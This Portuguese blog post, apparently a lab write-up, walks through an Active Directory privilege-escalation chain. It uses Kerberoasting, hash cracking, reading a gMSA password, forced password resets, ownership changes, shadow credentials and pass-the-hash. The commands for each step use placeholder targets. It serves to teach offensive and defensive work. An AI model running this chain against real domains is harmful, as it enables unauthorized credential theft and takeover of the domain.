Você iniciou um Pentest em uma rede com uma credencial sem privilégios. O objetivo principal é obter o máximo de permissão na rede, então logicamente o alvo é o controlador de domínio.
Supondo que o endereço do AD não foi informado, comece realizando uma enumeração na rede. Use o script disponível AQUI
Porta 445
Use Crackmapexec para enumerar os compartilhamentos e os usuários.
crackmapexec smb [IP] -u ['usuário'] -p ['senha'] --shares
crackmapexec smb [IP] -u ['usuário'] -p ['senha'] --users
Em uma rede com controlador de domínio, logo no inicio do teste use o BloodHound para buscar vulnerabilidades relacionadas com permissões inseguras.
Pesquise o usuário fornecido para o teste e analise a relação dessa conta com outras. No exenplo, o usuário Henry tem permissão de escrita no atributo SPN (WriteSPN) da conta Afred. Isso permite o ataque Kerberoasting, conforme explicado neste artigo AQUI
O script targetedKerberoast.py realiza todo o ataque de forma fácil, e antes de executá-lo é necessário atualizar a hora do Kali com o comando ntpdate [dominio]
python3 targetedKerberoast.py -v -d 'dominio' -u 'usuario' -p 'senha'
O hash é copiado e adicionado em um arquivo para a quebra offline. A ferramenta John realiza a quebra facilmente com a wordlist rockyou.
john --format=krb5tgs --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou-75.txt [hashfile]
Após o ataque Kerberoasting bem sucedido, inicia-se a validação dos acessos da nova conta.
Uma nova análise é feita no BloodHound para a conta Alfred. Esse usuário consegue se auto adicionar ao grupo Infraestrutura devido a permissão AddSelf.
O que há de interessante no grupo Infraestrutura? Esse grupo possui a permissão "ReadGMSAPassword" relacionada com a conta ANSIBLE_DEV.
ReadGMSAPassword
GMSA = Group Managed Service Account - gMSA
É um tipo especial de conta de serviço usada para executar serviços automaticamente. Diferente de contas de serviço tradicionais, contas gMSA são gerenciadas pelo controlador de domínio que faz a alteração períodica da sua senha. Encontramos credenciais gMSA a partir do Windows 2012.
Como gMSA aumenta a segurança?
- Rotação Automática de Senhas: o AD gera e atualiza uma senha complexa a cada 30 dias (configuração padrão).
- Sem Gerenciamento Manual de Senhas: Os administradores nunca precisam saber ou gerenciar a senha.
- Várias Máquinas Podem Usar um gMSA: Ao contrário das contas de serviço normais, vários computadores podem usar o mesmo gMSA com segurança.
Como gMSA funciona?
- Geração automática de senhas: O KDS no AD é responsável por gerar senhas gMSA.
- Armazenamento de senhas: A senha é armazenada em um atributo chamado msDS-ManagedPassword, que somente usuários e máquinas autorizados podem recuperar.
- Controle de acesso: O atributo msDS-GroupMSAMembership define quais contas podem recuperar a senha.
Atributos da gMSA
- msDS-ManagedPassword – Armazena as senhas atuais e anteriores do gMSA de forma criptografada.
- msDS-ManagedPasswordID – Armazena o ID da chave usado para gerar a senha atual.
- msDS-ManagedPasswordPreviousID – Armazena o ID da chave usado para gerar a senha anterior.
- msDS-GroupMSAMembership – Define quais usuários/computadores podem solicitar a senha.
- msDS-ManagedPasswordInterval – Define a frequência (em dias) em que a senha é alterada (padrão: 30 dias).
Como explorar o uso da gMSA?
Quando um usuário ou grupo tem permissão ReadGMSAPassword, é possível obter a senha de uma conta gMSA.
Em determinadas máquinas, a conta gMSA é usada para executar serviços locais e para fazer isso, solicita ao AD a sua senha para executar o serviço. Se o aracante obtém acesso a máquina que possui uma conta gMSA, poderá ler a senha desta conta.
Roubo da senha do gMSA: Se um invasor tiver acesso a uma máquina que possa recuperar a senha do gMSA, ele poderá extraí-la usando consultas do PowerShell ou LDAP. A senha extraída pode então ser usada para autenticação como o gMSA.
Ataques Pass-the-Hash (PtH): Assim que um invasor obtém o hash NT da senha do gMSA, ele pode executar um ataque Pass-the-Hash para obter acesso aos sistemas.
Ataques Overpass-the-Hash (Pass-the-Ticket): Os invasores podem converter o hash NT extraído em um tíquete Kerberos e usá-lo para se passar pelo gMSA.
Executando Serviços Maliciosos: Se um invasor tiver controle sobre um computador que pode usar um gMSA, ele pode criar um serviço malicioso ou uma tarefa agendada que seja executada como o gMSA, obtendo acesso elevado.
Voltando ao usuário Alfred, ele será adicionado ao grupo Infraestrutura e vai herdar a permissão ReadGMSAPassword.
Para adicionar o usuário Alfred no grupo Infraestrutura, a ferramenta bloodyAD realiza essa tarefa ao usar o protocolo LDAP.
O bloodyAD é uma ferramenta para escalação de privilégios no AD e seu repositório está disponível neste
LINK
python3 bloodyAD.py -d [DOMINIO] -u [USUARIO] -p [SENHA] --host [HOSTNAME] add groupMember [GRUPO] [USUARIO]
Até aqui, as seguintes etapas foram executadas:
Conta de teste Henry possui permissão WriteSPN e foi usadas para o ataque Kerberoasting.
No ataque Kerberoasting, a senha do usuário Alfred foi obtida.
O usuário Alfred é adicionado ao grupo Infraestrutura e herdou a permissão ReadGMSAPassword.
O usuário Alfred obteve a senha da conta ANSIBLE_DEV.
Podemos ler a senha GMSA da conta ANSIBLE_DEV com a ferramenta bloodyAD:
python3 bloodyAD.py -d [DOMINIO] -u [USUARIO] -p [SENHA] --host [HOSTNAME] get object '[ACCOUNT-TO-READ]' --attr msDS-ManagedPassword
O hash NTLM da senha é coletado e podemos usá-lo para acesso ao servidor pela porta 445/SMB aplicando a técnica Pass-The-Hash.
crackmapexec smb [SERVIDOR] -u '[USUARIO]' -H [HASH] --shares
Ao analisar a conta ANSIBLE_DEV no BloodHound, observamos que tem permissão para trocar a senha do usuário SAM (ForceChangePassword).
Troca a senha do usuário SAM:
python3 bloodyAD.py -d [DOMINIO] -u '[USUARIO]' -p ':[HASH]' --host [HOSTNAME] set password "[USER-TARGET]" "[PASSWORD-TO-CHANGE]"
O usuário Sam possui permissão (WriteOwner) para modificar o owner da conta John. Como owner, Sam atribui a permissão GenericAll e pode modificar a senha do usuário John usando a técnica Shadow Credentials.
python3 bloodyAD.py -d [DOMINIO] -u [USER] -p '[SENHA]' --host [HOSTNAME] set owner [USER-TARGET] [USER-NEW-OWNER]
Como owner, Sam pode atribuir a permissão GenericAll
python3 bloodyAD.py -d [DOMINIO] -u [USUARIO] -p '[SENHA]' --host [HOSTNAME] add genericAll [USER-TARGET] [USER-OWNER]
Agora que o usuário Sam tem total controle da conta John, pode modificar sua senha usando a técnica Shadow Credentials com a ferramenta certipy-ad.
Certipy-AD é uma ferramenta para enumerar e explorar o serviço de certificado do Active Directory (AD CS), o guia de instalação está disponível neste repositório
AQUI
certipy shadow auto -target [DOMINIO] -u [USUARIO] -p '[SENHA]' -account [USUARIO]
A conta John tem acesso com WinRM ao servidor AD, então usando o Evil-WinRM é possível acessar o servidor.
Podemos concluir todas as técnicas usadas no caminho para o ataque:
[1] Ataque Kerberoasting possível devido a permissão WriteSPN da conta Henry na conta Alfred
[2] Permissão AddSelf da conta Alfred para se adicionar ao grupo Infraestrutura
[3] O usuário Alfred ao se adicionar ao grupo Infraestrutura, herda a permissão ReadGMSAPassword que permite obter o hash da senha da conta ANSIBLE_DEV
[4] Ao obter o hash da senha da conta ANSIBLE_DEV, a técnica Pass-the-Hash é usada para trocar a senha do usuário SAM. Isso é possível porque ANSIBLE_DEV tem permissão ForceChangePassword na conta SAM.
[5] A conta SAM tem permissão para modificar o owner da conta John, ou seja, Sam pode torna-se dono da conta John. Feito isso, a permissão GenericAll é atribuida e Sam pode modificar a senha de John.
Ao modificar a senha do usuário John com a ferramenta Certipy, obtém o hash NTLM desta senha e podemos acessar o servidor como John usando a técnica Pass-the-Hash.
Ferramentas usadas
BloodHound para análise e estratégia do ataque
targetedKerberoast.py para executar o ataque Kerberoasting.
John para quebra do hash da senha
bloodyAD para:
adicionar o usuário ao grupo infraestrutura
obter o hash da senha do usuário ANSIBLE_DEV
troca a senha do usuário Sam
adicionar o usuário Sam como owner da conta John
atribui a permissão GenericAll
Certipy para trocar a senha do usuário e obter o hash NTLM
Permissões exploradas neste laboratório:
WriteSPN
AddSelf
ReadGMSAPassword
ForceChangePassword
WriteOwner
Mind Map Hacking
That's it!
#HACKINGBR
Comentários
Postar um comentário